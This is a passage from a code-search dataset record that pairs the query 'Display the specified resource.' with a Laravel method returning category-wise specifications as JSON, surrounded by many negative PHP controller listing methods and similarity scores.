\"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Display the specified resource. $
public function getCategoryWiseSpecificationJoint($categoryId) { // Get Categorys // $categoryWiseResource = //Specification::leftJoin('category_wise_specifications', 'specifications.id', '=', 'category_wise_specifications.specification_id') // //->where('category_wise_specifications.category_id', $categoryId) // //->get(); // Specification::select('*', DB::raw('specifications.id AS id, specifications.name, category_wise_specifications.category_id')) // ->leftJoin('category_wise_specifications', function($join) { // $join->on('specifications.id', '=', 'category_wise_specifications.specification_id'); // }) // ->whereNull('category_wise_specifications.specification_id') // ->where('category_wise_specifications.category_id', $categoryId) // ->get(); // //->whereNull('category_wise_specifications.specification_id'); $specifications = Specification::where('active', 1)->get()->toArray(); $categoryWiseSpecifications = CategoryWiseSpecification::where('category_id', $categoryId)->get()->toArray(); foreach ($specifications as $key => $value) { $specifications[$key]['checked'] = (string)array_search($value['id'], array_column($categoryWiseSpecifications, 'specification_id')); } //dd($specifications); // Return single Categorys as a resource return response()->json(['data' => $specifications]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n //\n }", "public function show(Resource $resource)\n {\n // not available for now\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function get_resource();", "public function retrieve(Resource $resource);", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n\t{\n\t\t\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function show(Resena $resena)\n {\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function display() {}", "public function display() {}", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show()\n\t{\n\n\t}", "public function display(){}", "abstract public function resource($resource);", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "public function get(Resource $resource);", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "function show() {\n echo $this->fetch();\n }", "abstract protected function show();", "abstract public function resource();", "public function image_display_gd($resource)\n\t{\n\t\theader('Content-Disposition: filename='.$this->source_image.';');\n\t\theader('Content-Type: '.$this->mime_type);\n\t\theader('Content-Transfer-Encoding: binary');\n\t\theader('Last-Modified: '.gmdate('D, d M Y H:i:s', time()).' GMT');\n\n\t\tswitch ($this->image_type)\n\t\t{\n\t\t\tcase 1\t:\timagegif($resource);\n\t\t\t\tbreak;\n\t\t\tcase 2\t:\timagejpeg($resource, NULL, $this->quality);\n\t\t\t\tbreak;\n\t\t\tcase 3\t:\timagepng($resource);\n\t\t\t\tbreak;\n\t\t\tdefault:\techo 'Unable to display the image';\n\t\t\t\tbreak;\n\t\t}\n\t}", "protected function _show() {\n if ($this->_iId == '401')\n header('HTTP/1.0 401 Authorization Required');\n\n elseif ($this->_iId == '403')\n header('HTTP/1.0 403 Forbidden');\n\n elseif ($this->_iId == '404') {\n header('Status: 404 Not Found');\n header('HTTP/1.0 404 Not Found');\n }\n\n $oTemplate = $this->oSmarty->getTemplate($this->_sController, $this->_iId);\n $this->oSmarty->setTemplateDir($oTemplate);\n return $this->oSmarty->fetch($oTemplate, UNIQUE_ID);\n }", "public function display()\n {\n }", "public function display()\n {\n }", "public function display()\n {\n }", "public function display()\n {\n }", "public function display() {\n\t}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public abstract function display();", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "function showResources() {\n $output = $this->outputBoilerplate('resources.html');\n return $output;\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function info(){\n $this->display('Main/Person/info') ;\n }", "public function show() {\n\t}", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function resourcecontentAction() {\n\t$resource_type = $this->_getParam('resource_type');\n\t$resource_id = $this->_getParam('resource_id');\n\t$is_spocerdStory = $this->_getParam('is_spocerdStory', null);\n\n\t$is_document = 0;\n\tif ($resource_type == 'document') {\n\t $is_document = 1;\n\t}\n \n if( strstr($resource_type, \"sitereview\") ) {\n // $resource_type = \"sitereview\";\n\n $sitereviewExplode = explode(\"_\", $resource_type);\n $tempAdModId = $sitereviewExplode[1];\n $module_info = Engine_Api::_()->getItem(\"communityad_module\", $tempAdModId);\n $tempModName = strtolower($module_info->module_title);\n $tempModName = ucfirst($module_info->module_title);\n \n $content_table = \"sitereview_listing\";\n $sub_title = \"View\" . \" \" . $tempModName;\n $content_data = Engine_Api::_()->getItem($content_table, $resource_id);\n }else {\n $field_info = Engine_Api::_()->getDbTable('modules', 'communityad')->getModuleInfo($resource_type);\n\n if (!empty($field_info)) {\n $content_data = Engine_Api::_()->getItem($field_info['table_name'], $resource_id);\n }\n }\n\n $base_url = Zend_Controller_Front::getInstance()->getBaseUrl();\n if( empty($sub_title) ) {\n $sub_title = Engine_Api::_()->communityad()->viewType($resource_type);\n }\n\t$photo_id_filepath = 0;\n\n\tif (empty($is_document)) {\n\t $photo_id_filepath = $content_data->getPhotoUrl('thumb.normal');\n\t} else {\n\t $photo_id_filepath = $content_data->thumbnail;\n\t}\n\n\tif (strstr($photo_id_filepath, '?')) {\n\t $explode_array = explode(\"?\", $photo_id_filepath);\n\t $photo_id_filepath = $explode_array[0];\n\t}\n\n\t$isCDN = Engine_Api::_()->seaocore()->isCdn();\n\n\tif (empty($isCDN)) {\n\t if (!empty($base_url)) {\n\t\t$photo_id_filepath = str_replace($base_url . '/', '', $photo_id_filepath);\n\t } else {\n\t\t$arrqay = explode('/', $photo_id_filepath);\n\t\tunset($arrqay[0]);\n\t\t$photo_id_filepath = implode('/', $arrqay);\n\t }\n\t}\n\n\tif (!empty($photo_id_filepath)) {\n\t if (strstr($photo_id_filepath, 'application/')) {\n\t\t$photo_id_filepath = 0;\n\t } else {\n\t\t$content_photo = $this->upload($photo_id_filepath, $is_document, $isCDN);\n\t }\n\t}\n\t// Set \"Title width\" acording to the module.\n\t$getStoryContentTitle = $title = $content_data->getTitle();\n\t$title_lenght = strlen($title);\n\t$tmpTitle = strip_tags($content_data->getTitle());\n\t$titleTruncationLimit = $title_truncation_limit = Engine_Api::_()->getApi('settings', 'core')->getSetting('ad.char.title', 25);\n\tif ($title_lenght > $title_truncation_limit) {\n\t $title_truncation_limit = $title_truncation_limit - 2;\n\t $title = Engine_String::strlen($tmpTitle) > $title_truncation_limit ? Engine_String::substr($tmpTitle, 0, $title_truncation_limit) : $tmpTitle;\n\t $title = $title . '..';\n\t}\n\n\t// Set \"Body width\" acording to the module.\n\t$body = $content_data->getDescription();\n\t$body_lenght = 